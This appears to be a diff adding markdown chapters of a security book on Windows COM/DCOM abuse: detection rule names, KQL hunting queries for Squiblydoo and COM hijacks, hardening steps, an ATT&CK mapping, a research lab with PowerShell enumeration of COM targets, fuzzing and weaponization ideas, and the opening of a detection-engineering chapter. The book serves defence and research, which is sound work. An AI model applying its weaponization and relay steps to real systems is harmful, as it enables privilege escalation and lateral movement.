| Sigma | `proc_creation_win_mmc_mmc20_lateral_movement.yml`; `proc_creation_win_regsvr32_squiblydoo.yml`; `rpc_firewall_remote_dcom_or_wmi.yml`; `registry_set_persistence_com_hijacking_builtin.yml` ([41],[42]) |
|
||||||
|
| MITRE CAR | CAR-2019-04-003 (Squiblydoo) ([44]) |
|
||||||
|
| Splunk | "Remote Process Instantiation via DCOM and PowerShell" (`d4f42098-4680-11ec-ad07-3e22fbd008af`); "...Script Block" (`fa1c3040-4680-11ec-a618-3e22fbd008af`); "Mmc LOLBAS Execution Process Spawn" (`f6601940-4c74-11ec-b9b7-3e22fbd008af`); "Possible Lateral Movement PowerShell Spawn" (`22282a2d-dc19-4b88-ac61-6c86ff92904f`) ([45]) |
|
||||||
|
| Elastic | Prebuilt "Incoming DCOM Lateral Movement with MMC"; blog "How to hunt: Detecting persistence and evasion with COM" ([46]) |
|
||||||
|
| Atomic Red Team | T1021.003 tests (validation) |
|
||||||
|
| Baselines | sysmon-modular and SwiftOnSecurity sysmon-config ([47],[48]) |
|
||||||
|
|
||||||
|
### 8.8 KQL hunting queries (Microsoft Defender)
|
||||||
|
|
||||||
|
```kusto
|
||||||
|
// DCOM lateral movement
|
||||||
|
DeviceProcessEvents
|
||||||
|
| where InitiatingProcessFileName =~ "svchost.exe"
|
||||||
|
| where InitiatingProcessCommandLine has "DcomLaunch"
|
||||||
|
| where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe")
|
||||||
|
|
||||||
|
// Squiblydoo
|
||||||
|
DeviceProcessEvents
|
||||||
|
| where FileName =~ "regsvr32.exe"
|
||||||
|
| where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp")
|
||||||
|
|
||||||
|
// COM hijack registry
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where RegistryKey has @"Software\Classes\CLSID\"
|
||||||
|
| where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\"
|
||||||
|
| where ActionType has "SetValue" or ActionType has "Create"
|
||||||
|
|
||||||
|
// Trapped COM artifacts
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework"
|
||||||
|
| where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1
|
||||||
|
|
||||||
|
// CLR in COM hosts
|
||||||
|
DeviceImageLoadEvents
|
||||||
|
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
|
||||||
|
| where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe")
|
||||||
|
|
||||||
|
// RunAs tampering (RemoteMonologue)
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs"
|
||||||
|
```
|
||||||
|
|
||||||
|
### 8.9 Adjacent hunting: elevated COM (UAC angle)
|
||||||
|
|
||||||
|
For completeness with the UAC chapter: hunt medium-IL parent → high-IL child without `consent.exe`; auto-elevated hosts (fodhelper, computerdefaults, sdclt, eventvwr, slui) with unusual children; writes to `HKCU\Software\Classes\ms-settings\Shell\Open\command` and `mscfile\shell\open\command`; CMSTPLUA `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` instantiation; `"Elevation:Administrator!new:"` strings in command lines.
|
||||||
|
|
||||||
|
### 8.10 Baseline and hardening checklist
|
||||||
|
|
||||||
|
1. Inventory legitimate DCOM (SCCM, backup, OPC, AV management) → deny the rest via `dcomcnfg` AppID Launch ACLs (MMC20 + Office CLSIDs first).
|
||||||
|
2. Segment 135 + dynamic RPC to management hosts; block workstation↔workstation 135.
|
||||||
|
3. Enforce KB5004442 (`RequireIntegrityActivationAuthenticationLevel=1`; alert on `=0`), LDAP signing + channel binding, SMB signing, AD CS EPA ([34]).
|
||||||
|
4. AppLocker/WDAC block `scrobj.dll` script execution; disable WebClient; Office ASR rules.
|
||||||
|
5. NTLMv1 off (`LmCompatibilityLevel=5`); LSA Protection.
|
||||||
|
6. RPC Firewall on servers/DCs; collect RPC ETW EID 5/6 on critical hosts; sysmon-modular + SwiftOnSecurity configs as Sysmon baselines ([48],[49]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. MITRE ATT&CK Mapping
|
||||||
|
|
||||||
|
Verified mapping for this chapter's content:
|
||||||
|
|
||||||
|
| ID | Name | COM content |
|
||||||
|
|---|---|---|
|
||||||
|
| T1559.001 | Inter-Process Communication: COM and DCOM | local execution objects, scriptlets, DotNetToJScript, trapped COM |
|
||||||
|
| T1021.003 | Remote Services: DCOM | MMC20/ShellWindows/ShellBrowserWindow/ExcelDDE remoting, dcomexec, ForsHops, RemoteMonologue |
|
||||||
|
| T1546.015 | Event Triggered Execution: COM Hijacking | CLSID/InprocServer32/LocalServer32/TreatAs; TypeLib + `script:` moniker variant (explicit in ATT&CK) |
|
||||||
|
| T1548.002 | Abuse Elevation Control Mechanism: Bypass UAC | elevated/auto-elevated COM (CMSTPLUA, elevation moniker) |
|
||||||
|
| T1218.010 | System Binary Proxy Execution: Regsvr32 | Squiblydoo |
|
||||||
|
| T1055 | Process Injection | PPL injection, IRundown::DoCallback, trapped-COM in-PPL |
|
||||||
|
| T1620 | Reflective Code Loading | `Assembly.Load(byte[])` via COM |
|
||||||
|
| T1112 | Modify Registry | CLSID/TypeLib/AppID/RunAs/.NETFramework writes |
|
||||||
|
| T1550.002 | Use Alternate Authentication Material: Pass the Hash | `dcomexec -hashes` |
|
||||||
|
| T1134.001 | Access Token Manipulation: Token Impersonation/Theft | potato lineage |
|
||||||
|
| T1557.001 | Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay | relay chains with DCOM trigger |
|
||||||
|
| T1003.001 | OS Credential Dumping: LSASS Memory | PPL bypass end-goal |
|
||||||
|
| T1059.005/.007 | Command and Scripting Interpreter: VB/JavaScript | scriptlet bodies |
|
||||||
|
| T1027 | Obfuscation | Base64 .NET blobs |
|
||||||
|
| T1047 | Windows Management Instrumentation | WMI runs over DCOM (SWbemLocator) |
|
||||||
|
| T1068 | Exploitation for Privilege Escalation | CVE-2017-0100, PPL chain components |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Research Lab: New Execution & Evasion Primitives
|
||||||
|
|
||||||
|
### Hunting hypothesis
|
||||||
|
|
||||||
|
Three bug classes in this chapter are *proven open*, not exhausted:
|
||||||
|
|
||||||
|
1. **Type-library/proxy confusion.** Every out-of-process COM server whose proxies/stubs are generated from a type library (rather than a hand-written proxy DLL) and that runs more privileged than its caller is a candidate for HKCU typelib-shadow type confusion. Forshaw's 2018 PPL chain proved one instance ([20]); nobody has systematically burned the class down, and typelib shadowing doubles as T1546.015 persistence.
|
||||||
|
2. **Trapped-COM expansion.** Any marshal-by-reference OOP server whose referenced typelibs include stdole is a candidate for the StdFont→.NET reflection chain. Outflank's LLM-assisted registry enumeration already found alternative trapped-COM classes beyond WaaSRemediationAgent ([29]); Microsoft issued no CVE and no fix — the class is live.
|
||||||
|
3. **Coercion surfaces.** RunAs=Interactive User objects with methods/properties that dereference UNC paths (the RemoteMonologue pattern) are a decade-old class (CVE-2017-0100, 2017) that still produced a new primitive in 2025 ([33],[30]).
|
||||||
|
|
||||||
|
### Enumeration
|
||||||
|
|
||||||
|
Build the target list from the registry first, then enrich with OleViewDotNet:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 1. All out-of-process (LocalServer32) classes — the outer boundary for
|
||||||
|
# trapped-object and type-confusion targets
|
||||||
|
Get-ChildItem HKLM:\SOFTWARE\Classes\CLSID | ForEach-Object {
|
||||||
|
if (Test-Path "$($_.PSPath)\LocalServer32") { $_.PSChildName }
|
||||||
|
}
|
||||||
|
|
||||||
|
# 2. AppIDs with a RunAs value — coercion candidates (RemoteMonologue pattern)
|
||||||
|
Get-ChildItem HKLM:\SOFTWARE\Classes\AppID | ForEach-Object {
|
||||||
|
$ra = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).RunAs
|
||||||
|
if ($ra) { "{0} RunAs={1}" -f $_.PSChildName, $ra }
|
||||||
|
}
|
||||||
|
|
||||||
|
# 3. Interfaces marshaled from a type library (ProxyStub + TypeLib subkeys) —
|
||||||
|
# these are shadowable from HKCU, i.e. type-confusion candidates
|
||||||
|
Get-ChildItem HKLM:\SOFTWARE\Classes\Interface | ForEach-Object {
|
||||||
|
if ((Test-Path "$($_.PSPath)\ProxyStubClsid32") -and (Test-Path "$($_.PSPath)\TypeLib")) {
|
||||||
|
$_.PSChildName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Then in OleViewDotNet: load the COM database, filter classes by server type (LocalServer32), check which implement `IDispatch`, export their type libraries for diffing, and use the process viewer to confirm which classes a running privileged server actually hosts.
|
||||||
|
|
||||||
|
### Triage heuristics
|
||||||
|
|
||||||
|
A target is promising if:
|
||||||
|
|
||||||
|
- It runs out-of-process in a context more privileged than yours: a SYSTEM service, a PPL (check the signer, e.g. `PsProtectedSignerWindows-Light`), or another user's session.
|
||||||
|
- Its interfaces carry a `TypeLib` subkey in HKLM — meaning the proxy/stub comes from a typelib you can shadow in HKCU.
|
||||||
|
- It exposes `IDispatch`: `GetTypeInfo` → `ITypeLib` then tells you whether the server references stdole (`{00020430-0000-0000-C000-000000000046}`) — the StdFont trapped-object path.
|
||||||
|
- Its AppID has `RunAs = "Interactive User"` (coercion), or any method/property takes a string that becomes a path, UNC, or URL (`DataManager.Extract`, `WorkingDirectory`, `AddScanPackageService` are the templates).
|
||||||
|
- The host process is worth landing in: CLR DLLs are Microsoft-signed, so a reflection payload is image-signature-compatible with PPL targets.
|
||||||
|
|
||||||
|
### Analysis workflow
|
||||||
|
|
||||||
|
Static checklist:
|
||||||
|
|
||||||
|
1. Enumerate the class registration: CLSID, AppID (`RunAs`, `LaunchPermission`), server binary, code-signing level.
|
||||||
|
2. Export the typelib and diff every method's parameter directions and pointer levels; flag `[out] T*` parameters — flipping one to `[in] T` in a shadow typelib is exactly the 2018 primitive ([20]).
|
||||||
|
3. Confirm `IDispatch` support and enumerate referenced typelibs (stdole → StdFont path).
|
||||||
|
4. Map methods to dangerous sinks: process creation, file writes, UNC fetches, reflection entry points.
|
||||||
|
|
||||||
|
Dynamic harness sketch *(illustrative)*:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Activate the candidate OOP, then probe the trapped object's type information.
|
||||||
|
# GetTypeInfo/ITypeLib must be reached through IDispatch — use OleViewDotNet's
|
||||||
|
# scripting host or a small C# harness:
|
||||||
|
$clsid = "<candidate-clsid>"
|
||||||
|
$obj = [Activator]::CreateInstance([Type]::GetTypeFromCLSID($clsid))
|
||||||
|
# In C#: cast to IDispatch, call GetTypeInfo(0) -> ITypeInfo,
|
||||||
|
# GetContainingTypeLib() -> ITypeLib, enumerate referenced libs.
|
||||||
|
# Then request StdFont ({0BE35203-8F91-11CE-9DE3-00AA004BB851}) through the
|
||||||
|
# trapped object and test whether it materializes server-side.
|
||||||
|
```
|
||||||
|
|
||||||
|
Run the harness with Process Monitor, Sysmon (1, 7, 12/13/14, 17/18), and RPC ETW (EID 5/6) attached — you are simultaneously validating the primitive and producing its detection signature.
|
||||||
|
|
||||||
|
### Fuzzing/mutation ideas (typelib/proxy-confusion specific)
|
||||||
|
|
||||||
|
1. **Signature mutation matrix.** For each typelib-marshaled interface, generate shadow typelibs that mutate one parameter at a time: `[out] T*` → `[in] T`; pointer-level reduction (`T**` → `T*`); width changes (`long` ↔ `hyper` ↔ interface pointer); direction flips on string/array parameters. Register each under `HKCU\Software\Classes\TypeLib`, invoke with boundary values (`0`, `1`, `0xFFFFFFFF`, pointer-width patterns), and watch the server in a debugger. Integer-as-pointer unmarshaling surfaces as server-side writes to attacker-chosen addresses — precisely the `ICorSvcPooledWorker::CanReuseProcess` pattern ([20]).
|
||||||
|
2. **OBJREF/binding-string mutation.** Marshal OBJREFs with mutated RPC binding strings and run a fake OXID resolver to discover new coercion flows — the RemotePotato0 methodology generalized ([32]).
|
||||||
|
3. **IDispatch surface fuzzing.** On trapped objects, fuzz `GetIDsOfNames`/`Invoke` DISPID space and `GetTypeInfo` indices to find browseable server-side objects beyond StdFont ([26],[29]).
|
||||||
|
4. **AppID/RunAs sweep.** In a VM, set `RunAs = "Interactive User"` on each AppID you can own, remote-activate each class, and watch for server-side dereferences of a controlled UNC share — RemoteMonologue's discovery method, automatable ([30]).
|
||||||
|
|
||||||
|
### From crash/lead to primitive
|
||||||
|
|
||||||
|
- **Type confusion:** prove the write by targeting a chosen address and validating the value in a debugger; then convert to a *data-only* weaponization — pre-filling handle tables and aliasing `LdrpKnownDllDirectoryHandle` — so the final chain needs no thread creation, no allocation APIs, no ROP ([20]).
|
||||||
|
- **Trapped object:** prove with `Assembly.Load(byte[])` of a marker assembly that writes a file or raises an ETW event *inside the protected server*; capture the full artifact set as your detection deliverable ([26]).
|
||||||
|
- **Coercion:** prove by capturing the inbound NTLM with `ntlmrelayx` in a lab and completing one relay to LDAP; record which account context (interactive user vs machine$) the object yielded.
|
||||||
|
- **Disclosure framing:** expect "not a security boundary" for PPL-only and admin→PPL findings — Microsoft's servicing criteria deny CVEs/bounties there (precedent: the 2018 PPL chain and the 2025 trapped-COM class, both un-CVE'd). Write the detection content as the primary deliverable ([20],[26]).
|
||||||
|
|
||||||
|
### Further reading
|
||||||
|
|
||||||
|
- Injecting Code into Windows Protected Processes using COM, Part 1 — Forshaw ([20])
|
||||||
|
- Process Injection via COM IRundown::DoCallback — MDSec ([25])
|
||||||
|
- Windows Bug Class: Accessing Trapped COM Objects with IDispatch — Forshaw ([26])
|
||||||
|
- Fileless Lateral Movement with Trapped COM Objects — IBM X-Force ([27])
|
||||||
|
- RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force ([30])
|
||||||
|
- Utilizing RPC Telemetry — SpecterOps ([36])
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
[1] Bypass Application Whitelisting with Scriptlets (Squiblydoo) — Casey Smith, subt0x11.blogspot.com (2016) — https://subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html
|
||||||
|
[2] Backdoor.sct — original Squiblydoo PoC gist — Casey Smith (2016) — https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302
|
||||||
|
[3] AMSI: Antimalware Scan Interface — Red Canary — https://redcanary.com/blog/amsi/
|
||||||
|
[4] Disabling AMSI in JScript with One Simple Trick — James Forshaw, tiraniddo.dev (2018) — https://tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html
|
||||||
|
[5] DotNetToJScript — James Forshaw (2017) — https://github.com/tyranid/DotNetToJScript
|
||||||
|
[6] Freestyling with SharpShooter v1.0 — MDSec (2018) — https://mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/
|
||||||
|
[7] Lateral Movement using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
|
||||||
|
[8] Lateral Movement via DCOM: Round 2 — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
|
||||||
|
[9] Lateral Movement using Excel.Application and DCOM — enigma0x3 (2017) — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
|
||||||
|
[10] Lateral Movement using Outlook's CreateObject Method and DotNetToJScript — enigma0x3 (2017) — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
|
||||||
|
[11] Abusing DCOM for Yet Another Lateral Movement Technique — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/
|
||||||
|
[12] Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement — bohops (2018) — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
|
||||||
|
[13] DCOM Lateral Movement Techniques — Cybereason (Tsukerman, 2018-19) — https://www.cybereason.com/blog/dcom-lateral-movement-techniques
|
||||||
|
[14] Leveraging Excel DDE for Lateral Movement via DCOM — Cybereason — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
|
||||||
|
[15] Invoke-DCOM.ps1 — rvrsh3ll, Misc-Powershell-Scripts — https://github.com/rvrsh3ll/Misc-Powershell-Scripts
|
||||||
|
[16] LethalHTA — codewhitesec (2018) — https://codewhitesec.blogspot.com/2018/07/lethalhta.html
|
||||||
|
[17] Hunting COM Objects, Parts 1-2 — FireEye (2019) — https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
|
||||||
|
[18] DCOM enumeration paper — Axel Boesenach, hackdefense.com — https://hackdefense.com/
|
||||||
|
[19] AppLocker case study — oddvar.moe — https://oddvar.moe/
|
||||||
|
[20] Injecting Code into Windows Protected Processes using COM — Part 1 — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html
|
||||||
|
[21] Injecting Code into Windows Protected Processes using COM — Part 2 — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html
|
||||||
|
[22] Project Zero Issue 1332: CiSetFileCache TOCTOU (CVE-2017-11830) — Google Project Zero — https://bugs.chromium.org/p/project-zero/issues/detail?id=1332
|
||||||
|
[23] Bypassing PPL in Userland, Again — itm4n — https://itm4n.github.io/bypassing-ppl-in-userland-again/
|
||||||
|
[24] PPLmedic — itm4n — https://github.com/itm4n/PPLmedic
|
||||||
|
[25] Process Injection via Component Object Model (COM) IRundown::DoCallback — MDSec (2022) — https://mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/
|
||||||
|
[26] Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw, Google Project Zero (2025) — https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html
|
||||||
|
[27] Fileless Lateral Movement with Trapped COM Objects — IBM X-Force, Tran & Bayne (2025) — https://ibm.com/think/news/fileless-lateral-movement-trapped-com-objects
|
||||||
|
[28] ForsHops — IBM X-Force Red — https://github.com/xforcered/ForsHops
|
||||||
|
[29] Accelerating Offensive Research with LLM — Outflank, Kyle Avery (2025) — https://outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/
|
||||||
|
[30] RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force, Andrew Oliveau (2025) — https://ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
|
||||||
|
[31] RemoteMonologue PoC — https://github.com/3lp4tr0n/RemoteMonologue
|
||||||
|
[32] RemotePotato0 — Antonio Cocomazzi & Andrea Pierini (2021) — https://github.com/antonioCoco/RemotePotato0
|
||||||
|
[33] CVE-2017-0100 — NVD — https://nvd.nist.gov/vuln/detail/CVE-2017-0100
|
||||||
|
[34] KB5004442 — DCOM Server Security Feature Bypass hardening (CVE-2021-26414) — Microsoft Support — https://support.microsoft.com/ (KB5004442)
|
||||||
|
[35] impacket — Fortra — https://github.com/fortra/impacket
|
||||||
|
[36] Utilizing RPC Telemetry — SpecterOps — https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5
|
||||||
|
[37] Stopping Lateral Movement via the RPC Firewall — Zero Networks — https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall
|
||||||
|
[38] RPC Firewall — Zero Networks — https://github.com/zeronetworks/rpcfirewall
|
||||||
|
[39] RPC Detection — ftrsec — https://ftrsec.github.io/Blog/rpc-detection/
|
||||||
|
[40] ETW provider GUID compilation — guitarrapc gist — https://gist.github.com/guitarrapc/35a94b908bad677a7310
|
||||||
|
[41] detection.fyi — Sigma rule browser (MMC20, Squiblydoo, RPC firewall rules) — https://detection.fyi/
|
||||||
|
[42] SigmaHQ/sigma — incl. registry_set_persistence_com_hijacking_builtin.yml — https://github.com/SigmaHQ/sigma
|
||||||
|
[43] Squiblydoo in-the-wild analysis — Intezer — https://intezer.com/
|
||||||
|
[44] CAR-2019-04-003: Squiblydoo — MITRE Cyber Analytics Repository — https://car.mitre.org/analytics/CAR-2019-04-003/
|
||||||
|
[45] Splunk DCOM analytics — Splunk research — https://research.splunk.com/
|
||||||
|
[46] How to hunt: Detecting persistence and evasion with COM — Elastic — https://elastic.co/blog/how-hunt-detecting-persistence-evasion-com
|
||||||
|
[47] sysmon-config — SwiftOnSecurity — https://github.com/SwiftOnSecurity/sysmon-config
|
||||||
|
[48] sysmon-modular — Olaf Hartong — https://github.com/olafhartong/sysmon-modular
|
||||||
|
[49] How to Detect DCOM Lateral Movement — detect.fyi — https://detect.fyi/how-to-detect-dcom-lateral-movement
|
||||||
@@ -0,0 +1,640 @@
|
|||||||
|
# 07 · Detection Engineering & Blue-Team Coverage
|
||||||
|
|
||||||
|
> **Audience / level:** Red team operators who need to know exactly what a defender sees when a COM technique fires, and detection engineers building coverage for COM abuse; ramps from "which event log has this" to cross-source hunt queries and evasion tradeoffs. **Prerequisites:** chapters 01–06 of this series (or working knowledge of COM activation, DCOM remoting, and the registry layout); Sysmon and Windows event-log basics. **Estimated reading time:** 90–120 minutes.
|
||||||
|
> After this chapter you will be able to map every COM attack family in this book to its concrete telemetry — exact event IDs, ETW provider GUIDs, Sigma/Splunk/Elastic rule names, registry artifacts, and wire indicators — and use that map to test detections, tune rules, and reduce operational noise.
|
||||||
|
|
||||||
|
**Contents**
|
||||||
|
- [1. Why COM Detection Is Hard](#1-why-com-detection-is-hard)
|
||||||
|
- [2. Telemetry Sources Primer](#2-telemetry-sources-primer)
|
||||||
|
- [3. Detecting DCOM Lateral Movement](#3-detecting-dcom-lateral-movement)
|
||||||
|
- [4. Detecting COM Privilege Escalation](#4-detecting-com-privilege-escalation)
|
||||||
|
- [5. Detecting UAC Bypass](#5-detecting-uac-bypass)
|
||||||
|
- [6. Detecting COM Persistence](#6-detecting-com-persistence)
|
||||||
|
- [7. Detecting Execution & Relay Abuse](#7-detecting-execution--relay-abuse)
|
||||||
|
- [8. The Layered Coverage Matrix](#8-the-layered-coverage-matrix)
|
||||||
|
- [9. Evasion Notes for Red Teamers](#9-evasion-notes-for-red-teamers)
|
||||||
|
- [10. Mitigations & Hardening Master List](#10-mitigations--hardening-master-list)
|
||||||
|
- [Research Lab: Detection-Engineering Your Own COM Research](#research-lab-detection-engineering-your-own-com-research)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Why COM Detection Is Hard
|
||||||
|
|
||||||
|
COM abuse is a living-off-the-land discipline. The execution vehicles are Microsoft-signed binaries that already exist on the host — `mmc.exe`, `explorer.exe`, `EXCEL.EXE`, `dllhost.exe`, `regsvr32.exe` → `scrobj.dll` — and the activation infrastructure is the same RPC plumbing legitimate administration uses. A DCOM lateral-movement chain creates **no service** (no System event 7045), **no scheduled task**, **no new listening port**, and needs no `ADMIN$` share for the pure PowerShell/C# primitives; it produces a logon event indistinguishable from normal admin activity ([11], [12]). Persistence is worse: a COM hijack lives entirely in the registry (the per-user hive `NTUSER.DAT` / `UsrClass.dat`), is re-read at every logon, and its trigger is *normal system activity* — a signed Microsoft process such as `explorer.exe` or `taskhostw.exe` does the `LoadLibrary` of the attacker DLL ([34], [35]).
|
||||||
|
|
||||||
|
> **Beginner note:** **Living off the land** means executing attacker logic through binaries, scripts, and registry structures that ship with the OS, so that signature- and reputation-based controls see only trusted code. Detection has to shift from "what ran" (the binary is always legitimate) to "in what context did it run" (parentage, command line, registry state, wire shape). That context is what this chapter catalogs.
|
||||||
|
|
||||||
|
The research behind chapters 02–06 surfaces a specific set of visibility gaps. Each is a place where default telemetry is silent or degraded:
|
||||||
|
|
||||||
|
1. **Autoruns misses most COM hijacks.** Sysinternals Autoruns enumerates only specific COM categories; it does not diff the full `HKCU\Software\Classes\CLSID` tree against HKLM, so the classic per-user CLSID shadow is invisible in default views. Even when a Run-key launcher is used (`rundll32.exe -sta {CLSID}`), the visible autorun points to a signed Microsoft binary while the payload path hides in the Classes hive ([35]). See section 6.
|
||||||
|
2. **Raw RPC ETW lacks the remote IP.** The `Microsoft-Windows-RPC` provider reports interface UUID, opnum, protocol, and endpoint — but not the peer address that would tie an inbound `RemoteCreateInstance` to a specific workstation. This is the documented Zero Networks gap that the RPC Firewall exists to close; its log event 3 carries UUID, opnum, source IP, and principal per call ([5], [6], [7]). See section 2.4.
|
||||||
|
3. **Sysmon event 8 (`CreateRemoteThread`) does not fire.** COM-based code injection — type-confusion PPL injection, `IRundown::DoCallback`, trapped-COM `Assembly.Load` — executes inside the target without thread creation, allocation APIs, or ROP. Treat EID 8 coverage as blind to this class ([37]).
|
||||||
|
4. **AMSI coverage is conditional.** Scriptlet content is scanned (JScript/VBScript engines, WSH), and PowerShell DCOM one-liners are fully logged via script-block logging (event 4104) — but the *network fetch* of a scriptlet is not scanned, DotNetToJScript output defaults to CLR v2 which has no AMSI hook, and the native stages of type-confusion/trapped-COM chains contain no script content at all ([41], [42], [43], [44]). See section 7.2.
|
||||||
|
5. **DistributedCOM 10016 is background noise.** Machine-default launch/access denials log the 10015/10016 family constantly on unpatched estates, training analysts to ignore the channel — even though the same channel carries genuine probing signal (section 3.4) and the KB5004442 hardening events 10036–10038 ([8], [9]).
|
||||||
|
6. **The strongest execution contexts are the least observable.** A trapped-COM chain runs fileless inside a PPL `svchost` as SYSTEM — a process class many EDR sensors cannot introspect — with registry values as the only disk artifacts ([37], [38]).
|
||||||
|
|
||||||
|
> **Key idea:** You cannot reliably detect a COM *technique* (there are too many, all riding signed code); you detect the *seams* every technique must cross — a process-lineage anchor (`svchost -k DcomLaunch` spawning a server), a registry seam (a HKCU shadow, a `TreatAs`, a `ScriptletURL`), a wire seam (TCP 135 + dynamic ports, cleartext `IDispatch` method strings), or a token seam (a High-IL child with no `consent.exe`). Sections 3–7 are organized by attack family; section 8 re-organizes the same data by seam.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Telemetry Sources Primer
|
||||||
|
|
||||||
|
This section is the reference layer for the rest of the chapter: every source the briefs attest, with its exact identifiers. Later sections cite these IDs without re-explaining them.
|
||||||
|
|
||||||
|
> **Beginner note:** **Sysmon** (System Monitor) is a free Microsoft driver/service that logs structured operational events (process, network, file, registry, pipe, DNS) to `Microsoft-Windows-Sysmon/Operational`; event quality depends entirely on the deployed config — community baselines are SwiftOnSecurity's `sysmon-config` and Olaf Hartong's `sysmon-modular` ([46], [47]). **ETW** (Event Tracing for Windows) is the kernel-integrated telemetry bus underneath; security tools subscribe to named providers identified by GUID. **Security event log** IDs (4xxx/5xxx) come from audit policy, not Sysmon.
|
||||||
|
|
||||||
|
### 2.1 Sysmon events
|
||||||
|
|
||||||
|
| EID | Type | COM signal it carries (attested uses) |
|
||||||
|
|---|---|---|
|
||||||
|
| 1 | Process creation | Lineage anchors: `svchost.exe -k DcomLaunch` → `mmc.exe -Embedding`, `EXCEL.EXE /automation -Embedding`, `DllHost.exe /Processid:{AppID}`; second-generation `mmc.exe`/`explorer.exe`/`EXCEL.EXE` → `cmd.exe`; `regsvr32 /i:` + URL + `scrobj.dll`; PowerShell with `GetTypeFromCLSID`/`GetTypeFromProgID`/`Activator]::CreateInstance`/`ExecuteShellCommand`/`ShellExecute`/`DDEInitiate`; `IntegrityLevel` + `ParentImage` fields for UAC chains ([1], [2], [14], [15]) |
|
||||||
|
| 3 | Network connection | Inbound TCP 135 to `svchost` + dynamic high port; `regsvr32` outbound HTTP/S (near-zero false positives); unexpected egress from `mmc`/`excel`/`dllhost` = beacon ([12], [14]) |
|
||||||
|
| 7 | Image load | `scrobj.dll` inside `regsvr32`; `.xll`/unknown DLL into `EXCEL.EXE`; `wshom.ocx`; `iertutil.dll` from non-system path; `clr.dll`/`clrjit.dll`/`mscoree.dll` inside `dllhost`/`svchost`/`mmc`/`explorer` (DotNetToJScript and trapped COM); hijack DLLs outside `System32` in `explorer`/`svchost`/`taskhostw` ([15], [35]) |
|
||||||
|
| 8 | CreateRemoteThread | **Evasion gap:** COM injection mostly does *not* trip this event — do not rely on it for COM coverage (section 7) |
|
||||||
|
| 10 | Process access | Handle/token duplication into known UAC-bypass binaries (`fodhelper`, `eventvwr`, `computerdefaults`, `sdclt`, `slui`, `mmc`, `wsreset`, `pkgmgr`) ([28]) |
|
||||||
|
| 11 | File create | `.sct` drops; `mobsync.exe`/`.ppam`/`.xlsm` staging via `ADMIN$`; mock trusted directories (paths with trailing spaces); `%TEMP%\{GUID}\dismhost` staging; `windowscoredeviceinfo.dll`/`SprintCSP.dll`/`printconfig.dll` written to `System32` ([13], [50], [51]) |
|
||||||
|
| 12 | Registry key create/delete | Keys under `HKCU\Software\Classes\CLSID\{...}`, `...\TypeLib\{...}`, `HKU\<SID>_Classes\*` ([16], [17]) |
|
||||||
|
| 13 | Registry value set | `InprocServer32`/`LocalServer32`/`TreatAs`/`ProgID`/`ScriptletURL` writes; UAC shell-association keys (`ms-settings`, `mscfile`, `Folder`, `AppX82a6...`); `HKLM\SOFTWARE\Classes\AppID\{...}\RunAs` (RemoteMonologue); `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (hardening tamper); `AllowDCOMReflection`/`OnlyUseLatestCLR`; `LmCompatibilityLevel`; `LaunchPermission` tampering ([16], [17], [18], [39]) |
|
||||||
|
| 14 | Registry key/value rename | Rename-based staging of COM hijack keys ([16]) |
|
||||||
|
